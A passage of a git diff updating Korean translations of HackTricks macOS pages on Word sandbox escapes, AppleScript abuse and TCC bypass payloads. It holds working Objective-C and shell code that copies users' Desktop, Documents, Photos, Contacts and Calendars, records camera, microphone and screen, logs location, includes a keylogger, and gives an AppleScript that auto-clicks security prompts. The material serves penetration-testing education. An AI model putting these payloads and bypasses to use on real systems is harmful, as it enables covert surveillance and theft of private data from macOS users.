실행할 페이로드를 포함하는 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성한 다음, 이를 압축하여 피해자의 사용자 폴더인 **`~/~$escape.zip`**에 작성할 수 있습니다. +공격자는 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하여 실행할 페이로드를 넣고, 이를 압축한 후 **희생자의** 사용자 폴더에 **`~/~$escape.zip`**로 작성할 수 있습니다. -그런 다음, zip 파일을 **Login Items**에 추가한 다음 **`Terminal`** 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자 파일에 압축 해제되어 **`.bash_profile`** 및 **`.zshenv`**를 덮어씁니다. 따라서 터미널은 이러한 파일 중 하나를 실행합니다(bash 또는 zsh에 따라 다릅니다). +그런 다음 zip 파일을 **로그인 항목**에 추가하고 **`Terminal`** 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자의 파일에 압축 해제되어 **`.bash_profile`** 및 **`.zshenv`**를 덮어쓰게 되며, 따라서 터미널은 이 파일 중 하나를 실행하게 됩니다(사용되는 셸에 따라 다름). -[**원본 보고서는 여기에서 확인**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). +[**원본 보고서 확인하기**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)를 확인하세요. -### Word Sandbox 우회 - Open 및 환경 변수를 사용한 우회 +### Word Sandbox Bypass with Open and env variables -Sandboxed 프로세스에서는 여전히 **`open`** 유틸리티를 사용하여 다른 프로세스를 호출할 수 있습니다. 또한, 이러한 프로세스는 **자체 Sandbox 내에서 실행**됩니다. +샌드박스화된 프로세스에서 여전히 **`open`** 유틸리티를 사용하여 다른 프로세스를 호출할 수 있습니다. 게다가 이러한 프로세스는 **자신의 샌드박스 내에서 실행됩니다**. -`open` 유틸리티에는 **`--env`** 옵션이 있어 특정 환경 변수로 앱을 실행할 수 있습니다. 따라서 Sandbox 내부의 폴더에 **`.zshenv` 파일**을 생성하고 `open`을 사용하여 `--env`를 설정하여 **`HOME` 변수**를 해당 폴더로 설정하여 해당 `Terminal` 앱을 열 수 있습니다. 이렇게 하면 `.zshenv` 파일이 실행됩니다(어떤 이유로 `__OSINSTALL_ENVIROMENT` 변수를 설정해야 하는 경우도 있습니다). +open 유틸리티에는 **특정 env** 변수를 사용하여 앱을 실행하는 **`--env`** 옵션이 있다는 것이 발견되었습니다. 따라서 **샌드박스** 내의 폴더에 **`.zshenv` 파일**을 생성하고 `--env`로 **`HOME` 변수를** 해당 폴더로 설정하여 `Terminal` 앱을 열면 `.zshenv` 파일이 실행됩니다(어떤 이유로 인해 `__OSINSTALL_ENVIROMENT` 변수를 설정해야 했습니다). -[**원본 보고서는 여기에서 확인**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). +[**원본 보고서 확인하기**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)를 확인하세요. -### Word Sandbox 우회 - Open 및 stdin을 사용한 우회 +### Word Sandbox Bypass with Open and stdin -**`open`** 유틸리티는 **`--stdin`** 매개변수도 지원합니다(이전 우회에서는 `--env`를 사용할 수 없었습니다). +**`open`** 유틸리티는 **`--stdin`** 매개변수도 지원했습니다(이전 우회 이후 `--env`를 사용할 수 없게 되었습니다). -문제는 **`python`**이 Apple에 의해 서명되었더라도 **`quarantine`** 속성이 있는 스크립트를 실행하지 않습니다. 그러나 stdin에서 스크립트를 전달하여 quarantine 여부를 확인하지 않도록 할 수 있습니다: +문제는 **`python`**이 Apple에 의해 서명되었더라도 **`quarantine`** 속성이 있는 스크립트를 **실행하지 않습니다**. 그러나 stdin에서 스크립트를 전달할 수 있었기 때문에, 그것이 격리되었는지 여부를 확인하지 않았습니다: -1. 임의의 Python 명령을 포함하는 **`~$exploit.py`** 파일을 생성합니다. -2. _open_ **`–stdin='~$exploit.py' -a Python`**을 실행하여 우리가 생성한 파일을 표준 입력으로 사용하여 Python 앱을 실행합니다. Python은 우리의 코드를 기쁘게 실행하며, _launchd_의 자식 프로세스이므로 Word의 Sandbox 규칙에 바인딩되지 않습니다. +1. 임의의 Python 명령이 포함된 **`~$exploit.py`** 파일을 드롭합니다. +2. _open_ **`–stdin='~$exploit.py' -a Python`**을 실행하여 Python 앱을 우리의 드롭된 파일을 표준 입력으로 사용하여 실행합니다. Python은 우리의 코드를 기꺼이 실행하며, 이는 _launchd_의 자식 프로세스이므로 Word의 샌드박스 규칙에 구속되지 않습니다. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)에서 제로부터 히어로까지 AWS 해킹 배우기를 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요. -* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소 +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index fe4a13234..00f44af72 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,54 +1,56 @@ # macOS Apple Scripts +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## Apple Scripts -이것은 원격 프로세스와 상호 작용하기 위해 사용되는 스크립팅 언어입니다. 다른 프로세스에게 일부 동작을 수행하도록 요청하는 것이 매우 쉽습니다. **악성 소프트웨어**는 다른 프로세스가 내보내는 기능을 악용할 수 있습니다.\ -예를 들어, 악성 소프트웨어는 브라우저에서 열린 페이지에 임의의 JS 코드를 **주입**할 수 있습니다. 또는 사용자에게 요청된 허용 권한을 **자동으로 클릭**할 수 있습니다. +원격 프로세스와 상호작용하는 작업 자동화를 위한 스크립팅 언어입니다. 다른 프로세스에 특정 작업을 수행하도록 요청하는 것이 매우 쉽습니다. **악성코드**는 이러한 기능을 악용하여 다른 프로세스에서 내보낸 기능을 남용할 수 있습니다.\ +예를 들어, 악성코드는 **브라우저에서 열린 페이지에 임의의 JS 코드를 주입할 수 있습니다**. 또는 **사용자에게 요청된 일부 허용 권한을 자동으로 클릭할 수 있습니다**; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` -다음은 몇 가지 예시입니다: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -애플스크립트를 사용한 악성 소프트웨어에 대한 자세한 정보는 [**여기**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)에서 찾을 수 있습니다. +여기 몇 가지 예가 있습니다: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ +AppleScripts를 사용하는 악성 소프트웨어에 대한 더 많은 정보는 [**여기**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)에서 확인하세요. -애플스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버전은 `osadecompile`을 사용하여 쉽게 "**디컴파일**"될 수 있습니다. +Apple 스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버전은 `osadecompile`로 쉽게 "**디컴파일**"될 수 있습니다. -그러나 이 스크립트는 "읽기 전용"으로도 **내보낼 수 있습니다** (옵션 "내보내기..."를 통해): +그러나 이 스크립트는 또한 **"읽기 전용"으로 내보낼 수 있습니다** ( "내보내기..." 옵션을 통해):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -그리고 이 경우에는 `osadecompile`로도 내용을 디컴파일 할 수 없습니다. +그리고 이 경우에는 `osadecompile`로도 내용을 디컴파일할 수 없습니다. -그러나 여전히 이러한 종류의 실행 파일을 이해하는 데 사용할 수 있는 몇 가지 도구가 있습니다. [**더 많은 정보를 보려면 이 연구를 읽어보세요**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 도구와 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile)를 사용하면 스크립트가 어떻게 작동하는지 이해하는 데 매우 유용할 것입니다. +하지만 이러한 종류의 실행 파일을 이해하는 데 사용할 수 있는 도구가 여전히 있습니다. [**자세한 정보는 이 연구를 읽어보세요**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler)와 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 도구는 스크립트가 어떻게 작동하는지 이해하는 데 매우 유용할 것입니다. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 8a8adcca8..04eea0260 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,28 +1,28 @@ # macOS TCC Payloads +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### 데스크탑 +### Desktop -* **권한**: 없음 +* **Entitlement**: 없음 * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} -{% tab title="Objective-C" %} -`$HOME/Desktop`을 `/tmp/desktop`로 복사합니다. - +{% tab title="ObjetiveC" %} +`$HOME/Desktop`를 `/tmp/desktop`으로 복사합니다. ```objectivec #include #include @@ -56,9 +56,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="쉘" %} -`$HOME/Desktop`을 `/tmp/desktop`로 복사합니다. - +{% tab title="Shell" %} +`$HOME/Desktop`를 `/tmp/desktop`으로 복사합니다. ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -71,11 +70,8 @@ cp -r "$HOME/Desktop" "/tmp/desktop" * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} `$HOME/Documents`를 `/tmp/documents`로 복사합니다. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -111,7 +107,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} `$HOME/`Documents를 `/tmp/documents`로 복사합니다. - ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -124,11 +119,8 @@ cp -r "$HOME/Documents" "/tmp/documents" * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} `$HOME/Downloads`를 `/tmp/downloads`로 복사합니다. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -163,8 +155,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -`$HOME/Downloads`를 `/tmp/downloads`로 복사합니다. - +`$HOME/Dowloads`를 `/tmp/downloads`로 복사합니다. ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` @@ -173,15 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads" ### 사진 라이브러리 -* **Entitlement**: `com.apple.security.personal-information.photos-library` +* **권한**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} `$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -217,7 +205,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} `$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다. - ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -226,13 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### 연락처 -* **Entitlement**: `com.apple.security.personal-information.addressbook` +* **권한**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} {% tab title="ObjetiveC" %} -`$HOME/Library/Application Support/AddressBook`을 `/tmp/contacts`로 복사합니다. - +`$HOME/Library/Application Support/AddressBook`를 `/tmp/contacts`로 복사합니다. ```objectivec #include #include @@ -266,9 +252,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="쉘" %} +{% tab title="Shell" %} `$HOME/Library/Application Support/AddressBook`를 `/tmp/contacts`로 복사합니다. - ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -283,7 +268,6 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" {% tabs %} {% tab title="ObjectiveC" %} `$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다. - ```objectivec #include #include @@ -317,15 +301,22 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="쉘" %} +{% tab title="Shell" %} `$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다. - ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` +{% endtab %} +{% endtabs %} -3초 동영상을 녹화하고 \*\*`/tmp/recording.mov`\*\*에 저장합니다. +### 카메라 +* **권한**: `com.apple.security.device.camera` +* **TCC**: `kTCCServiceCamera` + +{% tabs %} +{% tab title="ObjetiveC - 녹화" %} +3초 비디오를 녹화하고 **`/tmp/recording.mov`**에 저장합니다. ```objectivec #import #import @@ -401,11 +392,10 @@ VideoRecorder *videoRecorder = [[VideoRecorder alloc] init]; fclose(stderr); // Close the file stream } ``` +{% endtab %} -카메라에 대한 프로그램의 접근 권한을 확인합니다. - -Check if the program has access to the camera. - +{% tab title="ObjectiveC - Check" %} +프로그램이 카메라에 접근할 수 있는지 확인합니다. ```objectivec #import #import @@ -435,9 +425,10 @@ freopen("/tmp/logs.txt", "a", stderr); fclose(stderr); // Close the file stream } ``` +{% endtab %} -카메라로 사진을 찍습니다. - +{% tab title="Shell" %} +카메라로 사진 찍기 ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -450,9 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="ObjectiveC - 녹음" %} +{% tab title="ObjetiveC - 녹음" %} 5초 동안 오디오를 녹음하고 `/tmp/recording.m4a`에 저장합니다. - ```objectivec #import #import @@ -553,9 +543,6 @@ fclose(stderr); // Close the file stream {% tab title="ObjectiveC - 확인" %} 앱이 마이크에 접근할 수 있는지 확인합니다. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #import #import @@ -586,8 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -5초 동안 오디오를 녹음하고 `/tmp/recording.wav`에 저장합니다. - +5초 오디오를 녹음하고 `/tmp/recording.wav`에 저장합니다. ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -600,16 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### 위치 {% hint style="success" %} -앱이 위치 정보를 얻으려면, **위치 서비스**(개인 정보 및 보안에서)가 **활성화되어 있어야** 합니다. 그렇지 않으면 앱은 위치 정보에 접근할 수 없습니다. +앱이 위치를 얻으려면 **위치 서비스**(개인정보 보호 및 보안에서) **가 활성화되어야 하며,** 그렇지 않으면 접근할 수 없습니다. {% endhint %} -* **Entitlement**: `com.apple.security.personal-information.location` -* **TCC**: `/var/db/locationd/clients.plist`에서 허용됨 +* **권한**: `com.apple.security.personal-information.location` +* **TCC**: `/var/db/locationd/clients.plist`에서 부여됨 {% tabs %} {% tab title="ObjectiveC" %} -`/tmp/logs.txt`에 위치 정보를 기록하세요. - +위치를 `/tmp/logs.txt`에 기록합니다. ```objectivec #include #include @@ -658,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt ``` {% endtab %} -{% tab title="쉘" %} -위치에 액세스하기 -{% endtab %} - -{% tab title="undefined" %} +{% tab title="Shell" %} +위치에 접근하기 ``` ??? ``` {% endtab %} +{% endtabs %} + +### 화면 녹화 + +* **권한**: 없음 +* **TCC**: `kTCCServiceScreenCapture` -{% tab title="undefined" %} {% tabs %} -{% tab title="undefined" %} -주요 화면을 5초 동안 `/tmp/screen.mov`에 녹화합니다. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjectiveC" %} +메인 화면을 5초 동안 `/tmp/screen.mov`에 녹화합니다. ```objectivec #import #import @@ -731,29 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -주요 화면을 5초 동안 녹화합니다. - +주 화면을 5초 동안 녹화합니다. ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -{% endtab %} -{% tab title="undefined" %} -#### 접근성 -{% endtab %} +### 접근성 -{% tab title="undefined" %} * **권한**: 없음 * **TCC**: `kTCCServiceAccessibility` -{% endtab %} -{% tab title="undefined" %} -TCC 권한을 사용하여 Finder의 엔터 키를 눌러 제어를 받고, 이를 통해 TCC를 우회합니다. -{% endtab %} +TCC 권한을 사용하여 Finder의 제어를 수락하고 그 방법으로 TCC를 우회합니다. -{% tab title="undefined" %} +{% tabs %} +{% tab title="TCC 수락" %} ```objectivec #import #import @@ -806,9 +783,8 @@ return 0; ``` {% endtab %} -{% tab title="Keylogger" %} -눌린 키를 \*\*`/tmp/keystrokes.txt`\*\*에 저장합니다. - +{% tab title="키로거" %} +누른 키를 **`/tmp/keystrokes.txt`**에 저장합니다. ```objectivec #import #import @@ -916,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**접근성은 매우 강력한 권한**입니다. 예를 들어, 시스템 이벤트를 호출할 필요 없이 접근성을 통해 **키스트로크 공격**을 수행할 수도 있습니다. +**접근성은 매우 강력한 권한입니다**, 이를 다른 방식으로 악용할 수 있습니다. 예를 들어, System Events를 호출할 필요 없이 **키스트로크 공격**을 수행할 수 있습니다. {% endhint %} +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index 8b0872078..243fbff6f 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %} {% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} @@ -60,16 +61,17 @@ HackTricks를 지원하는 다른 방법: {% embed url="https://ippsec.rocks/" %} +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 